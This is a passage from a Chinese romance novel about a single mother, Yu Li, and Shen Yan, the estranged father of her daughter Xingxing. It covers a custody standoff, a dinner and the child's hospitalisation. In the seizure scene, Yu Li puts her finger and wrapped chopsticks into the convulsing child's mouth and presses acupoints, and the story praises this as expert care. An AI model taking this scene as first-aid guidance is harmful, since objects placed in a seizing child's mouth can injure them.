喻梨垂眸想了想,最近一连串的事情发生,她神经时常紧绷,因为一个沈砚,变得疑神疑鬼也不是不可能,只好淡淡道:“也许吧,可能真的是我杞人忧天。” “你找法务那边再过一遍合同,看看还有没有什么陷阱我们没注意到的,如果没问题,我们就各自让出部分股权,正式签约?” 喻梨迟疑片刻后,还是点了头。 沈欣瑜就叹口气,按住她肩膀:”星星幼儿园的事我已经听说了,你最近心情不好,这件事结束后,你给自己放个假吧,别这么紧绷着,或者去找祁……” 她还没说完那个名字,被喻梨警告地瞪一眼,沈欣瑜立刻作投降状,举起双手:“行行行,我不提,继续装瞎子,不过我提醒你悠着点儿啊,人家说不定不只是想当床搭子,我看以他对你的关心,随时是想上位,你可能得考虑正式给人家一个名分,不过如果是他的话,人品跟颜值在我这儿过关的,你也不亏,嗯?”说完,有些玩味地撞了撞喻梨的肩。 喻梨懒得搭理她,正准备手机东西走人,手机忽然响,是孙阿姨。 孙阿姨的声音很焦虑,问她:“喻小姐,我刚从幼儿园接到星星,有个男人忽然出来,还带着保镖,说是认识您,一定要带走星星,让我……” 她话还没说完,大概是手机被人抢走,听筒里传来沈砚淡定从容的嗓音:“我带星星吃个晚餐,会把她送回来的。” 喻梨震惊了一下,立刻说:“沈砚,你不可以这样,星星她……” 大约是懒得听她废话,沈砚打断她:“喻梨,我已经受够你这套说辞。” 说完,电话被挂断。 喻梨顿时被气得不行,再打电话过去,孙阿姨说,孩子已经被沈砚接走,问她需不需要报警? 喻梨想了想,强迫自己冷静,她还不想跟沈砚闹到报警的地步,许英说过,目前的情形,对她已经有不利的地方,首先,她当初在国外确实有过差点将孩子送人的黑历史,且被对方掌握,其次,她刚跟杨夫人打架,对方很有可能以她精神状态不适合抚养孩子为由,提起要回孩子抚养权的诉讼,虽然官司是输是赢不一定,但她目前确实已经落下把柄。 冷静下来的喻梨,让孙阿姨先回去,不需要报警,她会处理这件事。 然后她给沈砚弹去语音通话,沈砚很快接通,沉默片刻后,喻梨克制着嗓音平稳说:“星星有被吓到吗,她胆子很小,也很敏感。” 沈砚偏头看一眼座位上安安静静的小姑娘,目光温柔,连同语气也温和不少:“她很好。” 喻梨没有听见星星的哭声,稍微放下心来。 然后,通话被沈砚中断,这次,他直接发了一个餐厅地址给她。 喻梨想都不想,连招呼都来不及跟沈欣瑜打,打车去沈砚给的地址。 沈砚的行程非常紧凑,南城的事情已经处理得差不多,北城还积压了很多公事需要回去处理,周扬帮他压了又压,推了又推,最迟今晚,有两个合同,以及几个应酬,必须飞回去。 沈砚离开之前,想见见星星,事实上,连续这两三天,他都抽空去看星星,有时候是喻梨匆匆忙忙送孩子去幼儿园,有时候是远远的看保姆接到星星后在附近的公园散步…… 今日,原本也只打算远远地看一眼就好,但是小姑娘今天被保姆牵着出来,看见有接孩子的家长把孩子架在脖子上,小姑娘一脸羡慕得频频回头望人家,随即垂着小脑袋默默跟上保姆步伐的样子,深深刺痛他。 沈砚最终还是推门下车,走到去附近乘坐专车的星星和保姆面前。 他喉头滚了滚,才叫出女儿名字,温柔宠溺:“星星。” 星星穿着印着史努比涂鸦的豆蔻紫羽绒服,辫子扎得可可爱爱,小脸粉嘟嘟,一双眼睛大儿水灵,看人的目光起初很警惕,下意识往保姆身后 躲,但等看清是那天的叔叔,又忍不住好奇,从保姆腿边探出脑袋。 沈砚胸腔被她弄得软软的,几乎快融化,嗓音更柔软:“你还记得我吗?” 小姑娘想了想,稍微大胆了点:“兔子叔叔。” 沈砚愣了愣,小姑娘很快又换了称呼:“大伯。” 沈砚被她一声‘刺痛’,心里酸涩不已,但他不想吓到她,于是蹲下身,温柔得要命:“嗯,大伯,看来星星还记得我。” 孙阿姨看这个突然出现的男人,衣着讲究,也不像是人贩子,又听他跟星星对话,仿佛认识,一时没有太警惕,转而去问星星:“星星,你认识这个叔叔?” 星星仰起头回答说:“大伯,妈妈说大伯就是爸爸的哥哥。” 孙阿姨有些意外,毕竟她在喻小姐家干了两年,从来没有见过喻小姐的亲戚,忽然多出一个大伯,还是星星自己说的,她有些好奇,也很意外。 沈砚听她一口一个大伯,满心苦涩酸胀,但也不敢此刻承认身份,小姑娘胆子小,他实在怕吓到她,只好继续问:“星星想骑高高吗?” 小姑娘黑白分明的眼睛,一下子变得亮晶晶。 于是等喻梨赶到餐厅,发现整个儿童餐厅显然已经被人包下,星星正骑在沈砚脖子上,高高兴兴指着窗外的夜景,“我知道,那个是摩天轮!” 第52章 第52章这个时候,他眼神跟星星…… 餐厅里暖气充足,星星坐在男人肩上,兴奋到额头都有出汗,落地窗外是南城一览无余的夜景,对面是一家新开的游乐场,夜色璀璨,游乐场的摩天轮在夜景里,静默旋转得仿佛一场童话。 拽住女儿软软手心的沈砚,也觉得一切仿佛梦幻,时光是多么神奇的东西,他不知道什么时候,默默多出一个女儿。 而原来他整个世界,会因为突然多出的一个小人儿,忽然体会到那种即使跟她简单的待在一起,也会有一天觉得平日里麻木的风景都立刻变得有趣可爱。 “星星。”喻梨被侍者带进来,看见空旷的儿童主题餐厅里,玩得一脸开心的一大一小,心里滋味莫名,半响才开口道。 听见妈妈的声音,星星立刻下意识扭头望过来,她还坐在沈砚脖子上,太高了,那个动作一看就很危险,喻梨急忙上前,垫脚,稳稳拖住女儿背脊,星星仿佛一点都不害怕,欢快地呼喊她:“妈妈。” 喻梨将她抱下来,沈砚半蹲下身体配合,星星也放开他手,转而投入喻梨怀抱,下一秒,小姑娘被稳稳当当放到地板上。 她玩得双颊通红,小额头上甚至多出汗珠,喻梨的手下意识探入她脖颈里,果然摸到后背一大片濡湿,出了一身的汗,偏偏星星完全没感觉似的,还抓住她手心趴到落地窗,分享给她看:“妈妈,你看对面有摩天轮,我们好高啊。” 喻梨她担心她感冒,将她羽绒服解开,敷衍她:“嗯,看到了,你汗巾呢?” 星星还目不转睛地望着外面,满不在乎地回答:“书包里。” “那你书包呢?” 沈砚闻言,想起方才带星星过来时,书包似乎一直背在保姆身上,开口道:“阿姨背回去了,什么汗巾?很重要吗,我立刻让人去拿。” 喻梨看他一眼,那一眼很冷,口吻也是难以克制的冷意:“不用。”随即,从餐桌上扯了一张,第一张擦去她背上的汗,第二张垫在里面,防止再出汗。 沈砚这个时才意识到,餐厅里暖气十足,其实不用给孩子穿那么多,冬天出汗太多容易感冒,喻梨显然已经做惯这些,第一时间留意到星星满身的汗。 想到这里,沈砚也蹲下来,拿纸巾擦拭星星额头上的汗珠,动作轻柔,语气也轻轻的:“你不用这样看我,我是新手爸……”他话没说完,被喻梨狠狠瞪一眼,便识趣收回,“我是新手,不会的你可以教我,我会慢慢学。这样是为了防止她感冒对吗?”说完,他桃花眼凝视着她,一副虚心求教的模样,目光谦逊平和,俊脸在头顶奢华的灯光下,立体感很强。 喻梨只冷冷说:“客气了沈总,你不用学。” 大概她语气太冷,星星敏感的察觉到一丝异样,黏在落地窗口的视线转过来,看一眼喻梨,又看一眼沈砚,眨了眨眼睛,情绪有些低落下来:“妈妈,我们要回去了吗?” 喻梨跟女儿说话时声音柔软:“对,妈妈是不是教过你,不能随意跟陌生人走,嗯?” 星星垂下小脑袋。 沈砚听她这样说,微微蹙眉。 “回家了。”说完,喻梨牵住女儿手心,星星乖乖跟上。 还没迈步,被沈砚拽住手臂,落地窗映出他冷峻的侧颜,因为极力克制,此刻带上一丝讨好意味:“我4个小时后回北城,一起吃顿饭好吗?”又垂眼看低着脑袋的星星,“星星也应该饿了。” 喻梨对上他视线:“跟你吃这顿饭是默许以后你随时随地可以从我身边带走她,沈总,这种事情,我希望不要有第二次。”说完,极力挣开他,但大约是怕影响星星,她声音放得很小,动作也不敢太大,因此并没有挣开。 “如果你一直是这样拒绝沟通的态度,我很难保证没有下次。”仿佛有默契,他说这句话时身体微微靠近她,也是压抑着音量。 喻梨瞳孔急速收缩,脸色倏然间极为难看。 这样近的距离,沈砚可以清晰看见她皱成‘川’字的眉心,从重逢开始,她由起初的云淡风轻,到后来逐渐抹不开的淡淡愁绪与疲惫,不能说与他无关,但是天知道,他有多想抚平她眉间褶皱,她却一味将他推远,一遍一遍让他体会被‘凌迟’的滋味。 而这会儿,沈砚遏制住想抚平她眉心的冲动,终究是心软妥协,难得低声下气的口吻,近乎带着一丝祈求:“这次是我不对,喻梨,让我跟星星吃一次饭好吗?” 他说完这句,星星的小肚子像是配合似的,咕咕叫了一声,小姑娘摸着自己的小肚子,天真得抬头望着喻梨,奶声奶气:“妈妈,小肚子它在叫。” 喻梨牵着女儿的手不自觉紧了一下,依然用极小的音量跟沈砚说:“就这一顿饭,你必须保证,以后没有我的允许,绝对不可以随意带走星星。” 沈砚见她态度终于松动,微微一笑,立刻弯腰抱起星星,没回答她,反而跟星星说:“肚子叫了我们就吃饭,星星喜欢吃什么?” 星星十分敏感,大约是察觉到两人气氛的不对,妈妈好像不喜欢自己亲近‘兔子叔叔’,于是整个人被沈砚抱着时,也不像方才骑他脖子那般松弛,跟只警惕的花栗鼠似的,身体绷紧,也不敢搂他脖子,只是小心翼翼望着喻梨问她:“妈妈,我想吃土豆泥,可以吗?” 沈砚也顺着星星目光望过来,仿佛一大一小,都在征求她同意。 对着天真无邪的女儿,喻梨说不出那个‘不’字,只能点头‘嗯’了一声。 星星立刻有些腼腆得笑起来,抬手要妈妈抱。 喻梨抱她坐进儿童餐椅里,沈砚已经点过一次餐,因为星星忽然又要吃土豆泥,这会儿又专门让人加了一道菜。 一共八道菜,有五道菜都是喻梨的口味,且仿佛特意交代过,厨师没有放葱。 沈砚似乎从把地址发给她起,已经料到会吃这顿饭,提前准备好。 但喻梨只看了一眼,一口没动,全程只专心喂星星吃饭。 小姑娘吃一会儿,停一下,偷偷瞄一眼沈砚,又去看妈妈。 大约因为她拒绝吃饭,沈砚忽然也毫无胃口,点了红酒自顾品酒,看星星时不时偷偷瞄自己一眼,忽然提议:“我来吧,我来喂星星好吗?” 星星其实可以自己吃饭的,但是小姑娘自己吃饭时,总是不专心,且非常挑食,为了提高速度,喻梨才选择喂她。 闻言,星星先毫不犹豫地选择拒绝:“我要妈妈喂。” 仿佛刚才那个骑在她脖子上乐呵呵的小姑娘已经不见,沈砚心里一梗,居然品出点儿被女儿过河拆桥的意味。 很明显,星星是在讨好她。喻梨太了解这个女儿,她大概已经明显地察觉自己和沈砚之间的气氛,但又实在忍不住对沈砚的好奇,只能一边偷看沈砚,一边选择坚定不移的站在妈妈这边。 “自己吃。”喻梨将碗跟勺子放在她面前,淡淡道。 大概是此刻终于察觉,女儿性格里,确实有与沈砚相似的地方。譬如沈砚想吃这顿饭,就会不管不顾,先斩后奏,拉下面子跟她讨好也好,都只是为了达到这个目的,星星好奇这个叔叔,明明察觉妈妈不想待在这里,依然一肚子小九九的留下来,一边讨好她,一边偷偷观察沈砚。 星星鼓了鼓脸颊,不敢反驳妈妈,果然自己握着勺子慢慢的舀起来自己吃。 沈砚看小姑娘吃瘪,鼓着脸颊,很是可爱,居然很有点幸灾乐祸,唇角没忍住,微微翘了一下。 落地窗里,他一穿一件千鸟格的大衣,内里是深色系衬衫,冷白手腕间宝蓝色腕表低调的露出一部分,看对面母女俩的目光柔软温和,像时不时偷瞄自己的女儿一样,他也时不时望一眼对面只将视线落在女儿身上的女人身上,桃花眼底,深邃目光缱绻又贪念,仿佛明白,是偷来的幸福时光。 一顿饭吃完,沈砚坚持送母女俩回家。 这个时间点,确实也不好打车,喻梨总有点破罐子破摔的心理,懒得再跟他拉扯,没有拒绝。 宾利的后座很宽敞,小姑娘窝在妈妈怀里,不知不觉泛起困意睡着了。 喻梨目光放在窗外,看车外交错的树影,心里有种茫然。 沈砚那天暗示会跟她抢抚养权的那一刻,这种茫然就不曾消退,她以为自己可以心如止水,但是牵扯到星星,依然会有恐惧与紧张,尤其许英跟她分析沈砚有可能会为了女儿抚养权打出的牌,她也没有十成的把握,能在这场官司里绝对的胜诉。 车内,沈砚偏头看她侧脸,仿佛知道她在想什么,眸色微疼,他开口想说些什么,前方司机忽然说:“快到小区了,但是前面在修路,过不去。” 喻梨思绪被打断,回神后想起,这两天小区附近确实在修路,车辆不便同行,她今天都没开车。 “没关系,不远了,我走路回去就可以。”说完,抱着孩子,准备下车。 司机不敢开门,偷偷从内直镜里看老板脸色,直到沈砚说:“还是太远,我来抱星星。” 沈砚目光坚持,暗夜里,喻梨已经争执到心累,下车后,将熟睡的星星交给沈砚。 冬日街景萧瑟,住宅区周围有绿化带以及大棵的银杏树,这个季节,树已经光秃秃的,只剩零星的树叶,脚踩在上面,能听见轻微的‘咯吱’声。 沈砚抱着沉甸甸的星星,小姑娘从妈妈怀里换到另一个人臂弯里,也只是微微皱眉咕哝了一声,随即又沉沉睡去。她换了姿势,衣服腰处那一截就露出来,有些漏风。 沈砚这次长了教训,抱着星星腾不出手,很自然得偏头跟喻梨讲:“你弄一下,衣服没好,会感冒。”说着,用下颌指了指星星漏风的地方。 喻梨微微一愣,赶紧将女儿后背的毛衣和羽绒服拉下来,裹严实。 她做这个动作的时候,沈砚垂眸看她,街灯下,她侧脸瓷白,肌肤细腻,颊边几根碎发随风微动,勾得人只想帮她捋到耳后,也许,可以话,还可以做点什么…… 沈砚喉结滑动,桃花眼目不转睛看着她,眸色深邃眷恋。 喻梨仿佛注意到他模样,抬眸碰上他视线,沈砚难得慌张,稍稍偏头,喉结滑了滑说:“下次会经过你同意再带星星出来,但你不能一直拒绝我。” “否则你会跟我抢星星对吗?”喻梨目光雪亮。 沈砚几乎有点不敢触碰她视线,竟然微微有些狼狈:“上次你可以当气话听,也可以认真,前提是请你不要逼我,既然知道星星的存在,我没有办法完全做到无动于衷的永远不跟她见面,今天跟她在一起,我很开心。”说完,他重新将视线放到她脸上,目光里竟然带上一丝请求和小心翼翼,仿佛怕她又果断地拒绝他。 喻梨看他一眼,出乎意料,想了想说:“你让我考虑一下。” 沈砚眸光陡然亮起来,这个时候,他眼神跟星星很像,都是那种仿佛被满足心愿,不大敢相信,但是又忍不住高兴的小心翼翼的模样。 第53章 第53章喻小姐,您吃点东西吧,…… 沈砚抱星星到小区,喻梨这次拒绝他上楼,沈砚看她一眼,没有再为难她,看母女俩安全进了小区才收回目光。 再过几天,幼儿园就要放假,孙阿姨因为媳妇的事情,请假越来越频繁,跟宏鑫签完约,得到入驻资金后,喻梨不得不将精力放到替星星寻找新的保姆上。 沈欣瑜一起帮她面试了几个,都不怎么行,不得不感叹一句:“果然人家说市面上好男人跟好保姆都是不流通的,你们家那个孙阿姨,是真的好难找到替代的。” 喻梨不得已,带着星星去了一两趟公司,好在她是老板,没人敢置喙什么,只是她时常加夜班,又不能独自放星星在家里睡觉,也不能老是麻烦许英,在没找到合格的保姆前,小姑娘只能憋屈的睡她办公室的沙发上。 这天,喻梨正跟几个同事开会,助理忽然跑来跟她说,星星发烧了,39度,而且不知道为什么,整个身体都在抽搐。 喻梨脸色一变,跑进自己办公室一看,星星全身痉挛,正双眼上翻,牙齿咬得咯咯响。 “对不起,喻姐,星星刚才额头就有点烫,是我粗心大意,以为只是办公室温度太高,看她困了,就抱她在沙发上睡觉……”小助理哭唧唧的解释。 “快,抱起来,送医院。”有男同事立刻要抱星星去医院。 “别碰她。”被喻梨高声喝止,她心疼得眼泪都快掉下来,一边说,一边掀开被子,将小姑娘衣领揭开,又把她衣领解开,尽量保持她呼吸畅通。 她脸色是白的,但动作有条不紊,伸出一根手指放入女儿嘴里,让她咬住,声音抖着问:“有没有压舌板?” 赶过来的同事们你看看我,我看看你,都很茫然。 “或者筷子?再给我一块布或者手帕。””她急忙又道。 不知道是谁,急忙找出外卖筷递来,又不知道谁找来一条干净手帕。 喻梨赶紧腾出手指,用手帕包住筷子放在星星上、下磨牙之间,防止她咬住舌头,然后用手压住星星的人中、内关两个穴位,一边按压着一边对围过来的同事说,“你们先出去,星星需要通风。” 看星星整个小身体平稳下来,没方才那样惊厥抽搐,又对助理说:“张蓓,你把我车开到楼下,五分钟后我下来载她去医院。” 公司没有专门车库,公司里大部分人的车子都停在对面的露天停车场。 张蓓都快吓哭了,赶紧点点头,找到喻梨车钥匙,飞奔去开车。 祁阳刚下播,原本是要走的,听人说喻老板的女儿出现发烧出现惊厥,几步赶到办公室门口,黑压压的围了很多人,有声音从里面传出来,问谁有没有手帕,祁阳想也不想,递上自己兜里的一方素色手帕,隔着玻璃,隐约看见里面的女人正细心地替孩子擦拭呕吐物,又掐住孩子人中,脸色是十分焦虑担忧的样子,动作上却十分专业、有条不紊。 隔了会儿,围着想帮忙的同事退出来:“都散了,都散了,孩子需要通风。别挡这里,该干嘛,干嘛去!” 不需要那么多帮手,同事们纷纷作鸟兽散。 祁阳听见有同事小声说:“喻姐看起来好专业,我们光看着都吓死,没想到她脸都吓白了,手上动作一点都不慌。” “你以为单亲妈妈容易呢,喻姐估计以前处理过。” “听说 是家里保姆忽然离职,喻姐也是没办法,只能暂时将孩子带办公室来。” “又要照顾孩子,又要忙事业,当女人,好难!” “……” 祁阳听了几句,又听见办公室里有人说孩子情况已经稳定下来了,偏头从办公室门口看一眼抱着女儿的女人,忍了忍,才抬脚去按电梯。 到停车场,祁阳刚解锁,看见张蓓一脸焦虑的站在喻梨车旁。 “怎么了?” “车子可能出问题,打不燃火,急死了,星星得马上送医院。” 祁阳想也不想说:“坐我的,你要跟着去吗?” “当然,都是我不好,没及时注意到星星的问题。阳哥你没关系吗,你今天连续直播了六个小时。” “没事,孩子安全最重要,上车吧。” “那谢谢你,阳哥。” 喻梨抱着星星下楼,看见是祁阳的车,愣了一下。 张蓓帮她拉开车门,十分抱歉:“喻姐,您车子打不燃,阳哥正好在,送我们去医院。” 喻梨看一眼还是烧得浑身通红的星星,没说什么,抱着孩子弯腰坐进车内。 好在距离最近的妇幼保健院车程只有十几分钟,祁阳刚停到医院门口,张蓓打开车门,喻梨抱着星星匆匆往急诊室赶。 她个子高挑,但身材纤细,骨架偏小,其实看起来是很小一只,星星胖乎乎的,真不知道这个女人是怎么稳稳当当一路抱着女儿这样过来的。 祁阳在驾驶室坐上看了会儿,敛眉,隔了会儿,才将车开走。 医生检查完,知道喻梨已经处理过孩子的惊厥,夸了一句,随即安排孩子输液,物理降温,以及开药。 张蓓陪着忙完,知道星星已经脱离危险,心里的大石落下,眼泪再也忍不住,噼里啪啦往下掉。 “喻姐,对不起,都是我粗心大意,要不是我没看好星星,根本就不会这么凶险……” 喻梨随手扯了医院的纸巾递给她:“不关你的事,她下午还活蹦乱跳的,你可能也没想到。” 张蓓忽然想起来,确实,星星可招人稀罕了,下午还跟办公室的小姐姐们玩儿,谁都想逗逗她,往她兜里塞小零食,小姑娘开始还很羞涩,玩熟了以后,上蹿下跳,可活泼了:“那怎么突然” 喻梨看一眼病床上正在输液的女儿,目光苦涩:“是我的问题,我生她的时候,没调理好身体,她生下来就体弱多病,身体底子比别的小孩差很多。” 岂止是没调理好身体,喻梨那时没有想过要生下她,但是小姑娘还是顽强得活下来,从胎里起,就显出强大的生命力,几次逃脱,出生后,出现这种紧急情况也很多次,喻梨很多次差点儿以为星星活不下来,国外医疗条件对于中产来说,根本没有想象中好,多急救几次,喻梨的钱也花得差不多,不得已,才回的国。 “我家里密码待会儿发给你,你帮我收拾点儿星星要用的衣物过来,还有干净的毛巾。”隔了会儿,喻梨对张蓓说。 张蓓点头:“我马上去拿。” 病房里,很快只剩下喻梨跟星星,以及隔壁两个也在替孩子输液的家长。 小姑娘贴了降温贴,小脸已经没有刚才那样红,但依然一脸病气,迷迷糊糊的找水喝:“妈妈,我渴……” 喻梨握着女儿的手,刚准备去替女儿倒水,有人递了一杯过来。 是祁阳,他解释说:“刚买的,洗干净了,想着也许会用到。热水也是刚接的。” 喻梨愣了一下,一时忘记接。 祁阳便解释:“我还买了新毛巾,我看星星衣服弄脏了,你可以擦擦,我放下就走,你放心。” 喻梨终于开口:“谢谢。” 试了一口水温,发现不是特别烫后,刚准备喂给星星,祁阳又递了一根吸管过来:“有吸管。” 喻梨只好又说了声谢谢。 祁阳也有些尴尬,两个人除了那种关系,以及一些公事,喻梨是十分反感彼此私下的联系的,尤其涉及到星星的部分。 他今天已经算越界。 但他想越这个界。 “那……我走了。”他指了指门口,轻轻道,将买好的东西放在病床旁的柜子上。 喻梨点头。 但等祁阳走到门口,她还是忍不住抬头郑重说:“谢谢你,祁阳。” “小事,你有任何需要,叫我一声。”他微微笑了一下,笑容干净温暖。 喻梨刚喂完女儿水,有微信语音弹进来。 她看一眼时间,已经是12点多,沈砚的声音染着寒夜里的凉意,透着着急紧张:“星星生病了?” 喻梨已经走到门口走廊,克制着音量:“嗯,发烧。” “是不是很严重?我已经让那边的保镖给你们换病房,我马上飞过来!” 喻梨握着手机,脸色早就没有方才那样着急,口吻也平淡下来:“不用,医生说输液后再观察一两天就好,病毒性感染,情况已经稳定。” 沈砚稍稍放心,语气平稳了点,半响后忽然说:“喻梨,在养育星星的过程中,困难的部分希望你能跟我开口,如果你不介意,我希望可以给星星安排育儿师以及配套的保姆,毕竟星星……” 他还没说完,被喻梨打断:“星星醒了,这件事以后再谈。” 通话中止。 喻梨在门口垂眸站了一会儿,脸色不明。 直到保镖匆忙赶过来:“喻小姐,已经给星星换了单独病房,也联系了医院的儿科教授专家,大概十多分钟后赶过来,会给星星做更全面的检查。抱歉,喻小姐,我们第一次遇到这种紧急情况,本应该第一时间给您创建急诊的绿色通道的……”说完,保镖深深的朝她鞠了一躬。 喻梨目光落在男人脸上,半响,只说了一句:“让教授明天再过来,星星这会儿需要休息,其他的,可以。” 星星换了病房。 张蓓将星星的衣物送过来时,知道星星转病房,还挺诧异。 不仅换病房,也有专门两位护士24小时看护,但喻梨坚持,自己帮星星擦身体的部分,又让张蓓早点回去休息,这里暂时不需要她了。 等喻梨帮星星擦拭干净,又换了睡衣,保镖拧了两个打包盒进来:“喻小姐,您吃点东西吧,老板吩咐特意给您定的。” “放那儿吧。”喻梨淡淡说。 第54章 第54章楼上,沈砚双手插兜,面…… 沈砚凌晨的航班,因为太匆忙,私人飞机没申请下来航线,赶到医院时已经是凌晨6点。 门口站着换班的保镖,豪华病房内安静极了,沈砚脚步便也不敢太重,儿童病床上,星星已经换上睡衣,小脸睡得恬静,沈砚试了试她额头温度,已经没有发烧症状,稍稍放心。 小姑娘旁边,喻梨睡在陪护病床上,白炽灯明亮,她眼底的青影与疲惫一览无余,蜷缩的姿势,仿佛非常缺乏安全感,额前几缕碎发落在瓷白的脸颊上,有种破碎的美感。 沈砚端详了片刻,抬手轻轻帮她往上掖了掖被子,再偏头一看,茶几上放着外卖盒,显然没有被人动过,已经冰凉。 他再出去时,吩咐了保镖几句,而后捏了捏眉心,摘下眼镜,有些疲惫地靠在沙发上闭目养神。 整个病房异常安静,城市的6点,星光褪去,天色黝黑,沈砚在那种安静里,因为担忧星星病情的一颗心在此刻安然落地,在疲倦里轻易睡着。 恍惚的,他入了一个梦。 梦见17岁的喻梨。 穿着学校的制服,及膝的百褶裙,打理得柔顺发亮的长发,站在他面前时,是乖巧可爱的模样,微微仰望的姿势,清澈的眼睛里,有明亮细碎的光芒,沈砚能清晰看见自己的倒影。 她拽住他手掌,小心翼翼塞了一个木盒到他手心里,虔诚道:“沈砚哥,生日礼物,保平安的,你一定要戴……” 她话还没说完,被少年冷漠推开,沈砚看见自己冰冷桀骜的下颌,听见自己更冷的声音:“滚!” 彼时的少年,光是看到她那张天真无邪的脸,就能想起跟酒店里目睹父亲跟徐凤芝出来的一幕,而母亲歇斯底里,近乎疯魔,偏执到将他认作父亲…… 她注意到他手腕上的伤痕,没有管那个被他拂在地上的木盒子,只惊诧地望向他冷白手腕的斑驳伤痕:“你的手……” 少年拂下衣袖遮住,转身时画面忽然转换,是冰凉细雨里,她面如死灰地拂下他腕间珠 串,轻轻冷冷的一句:“为什么死得不是你!” 棕褐色的珠子噼里啪啦往下落,碎了一地,沈砚蹲下身体一颗颗识捡,姿势如同多年前,那个被他投掷‘滚’的少女在他身后捡起那只落灰的木盒…… 沈砚感到一种心绞痛,不由自主拽住胸口处衣领,在冷汗涔涔中幽幽转醒。 天光已经大亮,喻梨半坐在病床上,应该也是刚醒,凝视他的目光复杂,两个人视线在空气中碰撞,沈砚手指还抓着胸口,看她的目光仿佛隔了漫长岁月的洗礼,脑海中无数片段闪过,恍惚到甚至觉得她陌生。 而喻梨只淡淡呢喃了一句:“原来你也会做噩梦啊。”便掀开被子起来。 但她刚站起来,想去看看星星怎么样,脑子忽然眩晕,一屁股又坐回病床上。 沈砚几步跨过去,抚住她肩膀,嗓音染着沙哑感的焦虑:“怎么了?” 喻梨等那种眩晕感过去,拂开他:“没事,只是低血糖。”说完,从旁边的置物架上找到自己的包,翻出一颗咖啡糖含在嘴里。 沈砚偏头看了一眼小桌上已经冷掉不曾动的餐食,敛了一下眉,还是说:“我叫人送了早餐,你喝点粥?” 喻梨没接话,已经走到星星身边,摸了摸星星额头,女儿已经退烧,小脸蛋睡得红扑扑的,就是好像一下瘦了许多,都没想往日粉嘟嘟,有些心疼地忍不住亲了亲女儿额头。 星星被她亲醒了,小姑娘一点儿没意识到自己在生病,笑嘻嘻说:“妈妈我刚才都梦到你在偷亲我。” 喻梨心里顿时软得不像话:“嗯,就偷亲你啦。” 小姑娘立刻大方地偏过脸颊,大方的:“给你亲,我还要你亲这边。” 喻梨非常顺从的,两边脸颊各来了一下,惹得星星咯咯咯笑。 沈砚目光落在母女俩身上,目光渐渐柔和。 直到有人敲门。 是护士,来给星星输液。 星星看着穿雪白制服的小姐姐,一点不害怕,熟练地让人心疼的说:“妈妈,我又生病了吗?” “星星很勇敢的对吗,不怕扎针的,嗯?” “我才不怕呢!”说着小姑娘大大方方伸出已经扎过一次的手背。 护士小姐姐看了,也觉得这个小女孩惊人的勇敢,夸她:“真棒,阿姨会轻轻的哦。”一边说,一边往小女孩白嫩嫩的手背上涂抹碘伏。 星星不敢看,偏过脸时,眼睛里已经迅速积起一泡眼泪,打湿了睫毛,但还是自己鼓励自己,“不怕,不怕,打针针,病病飞走,我不怕!” 沈砚看得心疼,这么小的小姑娘,好似将生病打针已经当做日常。 他眉头微皱,靠近星星床榻,转移她注意力:“星星,你喜欢爱莎女王对吗?”说完,从兜里给她变出一只爱莎女王的小玩偶。 巴掌大的玩偶,做得非常精致,是沈砚在机场候机时,一眼发现的,隐约有预感,也许能得上。 果然,星星眼睛一亮,笑容腼腆,但她不敢伸手去接,先是看了一眼病床另一边的喻梨。 只是几秒钟,护士已经成功将针扎入她手背,安放好了吊瓶。 喻梨微微点头,星星就很快伸出另一只手:“我喜欢爱莎,谢谢大伯。” 沈砚有些苦涩地将玩偶放入她掌心。 护士交代了几句,便出去了。 星星要玩玩偶,喻梨帮她将病床升起来,然后去洗手间简单洗漱。 星星就一会儿捏捏玩偶,一会儿偷偷看一眼沈砚,仿佛好奇他为什么出现在这里。 沈砚坐到她旁边,笑着说:“你有问题想问我?” 星星捏着玩偶的裙摆,不说话。 沈砚似乎不知道该怎么跟她交流,只好诱惑她:“等你病好,爸……大伯又带你骑高高,嗯?” 星星有些意动,想了想说:“要妈妈同意。” 沈砚好脾气的:“好,那我们一起征求妈妈同意。” 星星就有些高兴,但又很快冷静下来,垂着眼:“妈妈不喜欢你。” 所以,可能不会同意。 沈砚心头一震。 恰此时,有人敲门。 沈砚:“进来。” 保镖拧着餐盒:“新鲜熬的瘦肉粥,还有一些招牌点心,按您的吩咐,没放葱,老板你们趁热吃。” 他说这话时,喻梨已经从洗漱间出来,扎了一个简单的马尾,素颜,但看着比昨晚精神了些,有种不自知的美。 保镖立刻垂下视线,只将餐盒放在茶几上,看一眼昨晚没动过的宵夜,很有眼色的将冷掉的拧出去了。 粥是先熬的,米粒粘稠,鲜绿的蔬菜点缀在里面,看起来也让人有食欲。 喻梨盛了一碗,用勺子搅了几下,提醒星星:“要吃饭了,把你的小玩具收起来。” 星星就转身,将她心得的爱莎公主放在枕头旁边,还摸摸她的头,奶声奶气地说:“你自己玩儿哦,乖乖的,我吃完饭再陪你。” 见喻梨走过来,沈砚便站起来,想起星星刚才那句‘妈妈不喜欢你’,胸口隐痛,但还是自告奋勇:“我喂星星,你先吃饭,不是低血糖?” 喻梨偏头看一眼床上的星星,想了想,递给他:“那你试试。” 沈砚目光微亮,接过来,舀一勺细心吹了吹,才喂给星星。 星星看一眼妈妈,喻梨冲她点头,她才犹豫地张开嘴。 “烫不烫?”第一口投喂成功,沈砚竟然比签署一张大额合约更紧张兴奋,有些小心翼翼地紧张问道。 星星摇摇头,又乖乖张开嘴,大约是真的饿了,表示还要。 沈砚很快喂她第二口。 喻梨看了片刻,忽然想抽一支烟。 她就拿起架上的包,只交代了一句:“我先出去下,点心不要喂给她,她现在肠胃不能吃点心。”说完就出去了。 星星也没闹,任沈砚投食。 沈砚手指顿了顿,忽然发现即使要问一句简单的‘你去哪儿’,自己好像也没什么立场。 喻梨忍了忍,手上的烟头反复揉捏,最终还是被点燃。 冬日的早晨,雾气厚重,花园里露水湿冷,她裹了裹羊毛大衣,轮廓分明的脸在雾气里冻得冰凉,抽烟的姿势非常娴熟。 祁阳确认了好一会儿,才确认真的是她。 忍不住拍一下她背脊。 喻梨吓一跳,以为抽烟被清洁工抓到,转过来时的神色有些慌张,立刻将烟头藏到身后,:“抱……” 他好似第一次看她露出惊慌的模样,瞳孔微微睁大,有种矛盾的可可爱爱,跟平日冷若冰霜的飒爽完全不一样。 忍不住露出微笑:“怕抓到还躲这里抽烟?” 他是真的年轻,笑起来眉目俊朗,露出洁白上牙,在冬日里,仿佛破开迷雾的阳光。 喻梨心跳降下去,隐约吐出一口气才道:“你怎么在这里?” 祁阳看一眼手里拧着的餐盒,知道自己是第二次越界,但是他想试试,只能说:“去病房时,那边护士说你们转了病房,我想星星可能需要喝点粥,就熬了一点。” 